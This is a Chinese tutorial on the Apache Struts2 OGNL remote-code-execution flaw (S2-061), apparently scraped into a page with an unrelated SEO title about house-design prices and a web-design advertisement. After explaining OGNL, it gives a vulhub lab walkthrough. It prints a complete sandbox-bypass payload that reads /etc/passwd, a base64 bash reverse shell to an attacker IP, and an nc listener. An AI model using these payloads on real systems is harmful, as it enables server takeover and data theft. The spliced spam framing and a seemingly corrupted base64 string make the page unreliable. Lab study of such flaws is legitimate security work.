设计师设计一套房子要多少钱上海关键词排名优化公司
2026/4/6 9:19:29 网站建设 项目流程
设计师设计一套房子要多少钱,上海关键词排名优化公司,大学生课程设计网站,娱乐网站建设公司Apache Struts2 OGNL RCE注入Apache Struts2 OGNL RCE漏洞是一种严重的远程代码执行漏洞#xff0c;攻击者通过构造恶意的OGNL表达式注入到HTTP请求参数中#xff0c;利用Struts2框架对OGNL表达式处理不当的缺陷#xff0c;绕过安全沙箱限制#xff0c;最终实现在目标服务器…Apache Struts2 OGNL RCE注入Apache Struts2 OGNL RCE漏洞是一种严重的远程代码执行漏洞攻击者通过构造恶意的OGNL表达式注入到HTTP请求参数中利用Struts2框架对OGNL表达式处理不当的缺陷绕过安全沙箱限制最终实现在目标服务器上执行任意系统命令从而获取服务器控制权。1.什么是Apache Struts2?Apache Struts2也称为 Struts2是一个开源的 Java Web 应用框架。它主要用于构建企业级 Java EE Web 应用程序提供 MVCModel-View-Controller架构支持帮助开发者快速开发可维护的 Web 应用。Struts2 基于 OGNLObject-Graph Navigation Language表达式语言来处理数据绑定、表单验证和动态内容渲染等功能。它是 Struts1 的后继版本从 2006 年左右开始流行但由于历史漏洞较多现在许多项目已转向更现代的框架如 Spring MVC。2.原理(1) OGNLOGNL三要素Expression表达式 字符串形式的指令告诉 OGNL “你要做什么”。 例子user.name、java.lang.RuntimegetRuntime().exec(calc)、#session.get(user) 等Root根对象 操作的“主体对象”也就是你主要想访问/修改的对象。 在 Struts2 中Root 默认就是 ValueStack值栈值栈最顶层通常是当前的 Action 实例。 → 访问 Root 对象的属性时不需要加任何前缀直接写属性名即可。Context上下文 一个 Map 结构OgnlContext相当于“运行环境”。 里面存放了各种辅助对象、临时变量、环境信息等。 在 Struts2 中Context 就是 ActionContext包含了#parameters请求参数#request#session#application#attr依次查找 page→request→session→application值栈本身作为 Root→ 访问 Context 里的对象必须加 # 前缀例如 #session.user、#parameters.nameOGNL中的重要符号有三个#%$%%: 其用途是在标志属性为字符串类型时计算OGNL表达式的值类似JS中的函数eval()。例如:s:url value “%{items.{title}[0]}”/。获取items对象中title属性title为数组取数组索引为0位置的值#访问 Context非根对象里的数据,取 session、request、parameters、application 等时使用例如:#session.user #parameters.username #request.get(key)$1. 在 struts.xml 配置文件里引用 OGNL2. 在国际化资源文件.properties里引用 OGNL例如:struts.xml 里 资源文件welcome${user.name}(2) OGNL RCE漏洞原理OGNL RCE漏洞是 Struts2 中一类常见的严重安全问题主要源于框架对 OGNL 表达式的处理不当。OGNL 是一种强大的表达式语言用于访问 Java 对象的属性和方法.但在 Struts2 中如果用户输入如 HTTP 请求头、参数或标签属性被直接用于 OGNL 求值而没有充分验证或转义就会导致注入攻击。漏洞影响范围OGNL RCE 漏洞影响了 Struts2 的多个历史版本常见受影响版本从 Struts 2.0.0 到 2.5.x 系列如 2.5.25 之前部分 6.x 早期版本有类似问题。但许多旧版本如 2.3.x已停止支持EOL。不是所有 Struts2 应用都易受攻击取决于配置如是否使用强制 OGNL 求值或暴露了特定插件。但遗留系统特别危险。3.漏洞复现漏洞复现环境准备好docker靶机环境使用 vulhub靶场克隆vulhub仓库git clone --depth 1 https://github.com/vulhub/vulhub.git到漏洞地址cd vulhub/struts2/s2-061拉取镜像docker-compose up -d拉取失败的可以使用这个仓库的镜像源配置工具:git clone https://github.com/hzhsec/docker_proxy.gitchmod x *.sh./docker-proxy.sh再拉取docker-compose up -d使用docker ps查看镜像是否运行访问http://靶机IP:8080尝试id注入代码http://192.168.41.128:8080/.action?id%{hzhsec(12).toString()}url编码http://192.168.41.128:8080/.action?id%25%7Bhzhsec%2B(1%2B2).toString()%7D成功将id的值更换执行尝试poc%{(#instancemanager#application[org.apache.tomcat.InstanceManager]). (#stack#attr[com.opensymphony.xwork2.util.ValueStack.ValueStack]). (#bean#instancemanager.newInstance(org.apache.commons.collections.BeanMap)).(#bean.setBean(#stack)). (#context#bean.get(context)).(#bean.setBean(#context)).(#macc#bean.get(memberAccess)). (#bean.setBean(#macc)).(#emptyset#instancemanager.newInstance(java.util.HashSet)).(#bean.put(excludedClasses,#emptyset)).(#bean.put(excludedPackageNames,#emptyset)). (#arglist#instancemanager.newInstance(java.util.ArrayList)).(#arglist.add(cat /etc/passwd)). (#execute#instancemanager.newInstance(freemarker.template.utility.Execute)).(#execute.exec(#arglist))}编码:%25%7B(%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D).%20(%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D).%20(%23bean%3D%23instancemanager.newInstance(%22org.apache.commons.collections.BeanMap%22)).(%23bean.setBean(%23stack)).%20(%23context%3D%23bean.get(%22context%22)).(%23bean.setBean(%23context)).(%23macc%3D%23bean.get(%22memberAccess%22)).%20(%23bean.setBean(%23macc)).(%23emptyset%3D%23instancemanager.newInstance(%22java.util.HashSet%22)).(%23bean.put(%22excludedClasses%22%2C%23emptyset)).(%23bean.put(%22excludedPackageNames%22%2C%23emptyset)).%20(%23arglist%3D%23instancemanager.newInstance(%22java.util.ArrayList%22)).(%23arglist.add(%22cat%20%2Fetc%2Fpasswd%22)).%20(%23execute%3D%23instancemanager.newInstance(%22freemarker.template.utility.Execute%22)).(%23execute.exec(%23arglist))%7D成功读取/etc/passwd尝试修改命令反弹shellshell命令bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ}|{base64,-d}|{bash,-i}替换上面的cat命令攻击机:nc -lvvp 4444 启动监听发送payloadhttp://192.168.41.128:8080/.action?id%25%7B(%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D).%20(%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D).%20(%23bean%3D%23instancemanager.newInstance(%22org.apache.commons.collections.BeanMap%22)).(%23bean.setBean(%23stack)).%20(%23context%3D%23bean.get(%22context%22)).(%23bean.setBean(%23context)).(%23macc%3D%23bean.get(%22memberAccess%22)).%20(%23bean.setBean(%23macc)).(%23emptyset%3D%23instancemanager.newInstance(%22java.util.HashSet%22)).(%23bean.put(%22excludedClasses%22%2C%23emptyset)).(%23bean.put(%22excludedPackageNames%22%2C%23emptyset)).%20(%23arglist%3D%23instancemanager.newInstance(%22java.util.ArrayList%22)).(%23arglist.add(%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4yMTAuNjYuMTA4LzQ0NDQgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22)).%20(%23execute%3D%23instancemanager.newInstance(%22freemarker.template.utility.Execute%22)).(%23execute.exec(%23arglist))%7D成功上线:poc原理获取 Tomcat 的 InstanceManager#instancemanager #application[org.apache.tomcat.InstanceManager] → 从 ServletContextapplication里拿到 Tomcat 的实例管理器它能“暴力”new 出任何类的实例即使 OGNL 沙箱不允许。拿到当前的 ValueStack值栈#stack #attr[com.opensymphony.xwork2.util.ValueStack.ValueStack] → 值栈是 Struts2 的核心里面存着 Action、request、session 等所有上下文信息。用 BeanMap 魔法绕过访问限制最核心的沙箱绕过技巧 #bean #instancemanager.newInstance(org.apache.commons.collections.BeanMap)#bean.setBean(#stack) → 创建一个 BeanMap一种能把任意对象当 Map 用的黑科技类然后把值栈塞进去。 之后就能通过 .get(context)、 .get(memberAccess) 这种方式访问原本不允许直接访问的私有字段。继续链式操作 → 先拿到 context → 再拿到 _memberAccessOGNL 的安全管理器对象控制什么能执行、什么类被禁止清空沙箱黑名单真正解除限制 #emptyset #instancemanager.newInstance(java.util.HashSet) #bean.put(excludedClasses, #emptyset)#bean.put(excludedPackageNames, #emptyset) → 把 OGNL 的两个黑名单禁止的类 禁止的包全部清空成空集合。 → 从此 OGNL 什么类都能用了什么包都能访问了沙箱彻底失效。准备命令并执行#arglist #instancemanager.newInstance(java.util.ArrayList)#arglist.add(cat /etc/passwd) → 创建一个参数列表里面放要执行的命令。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询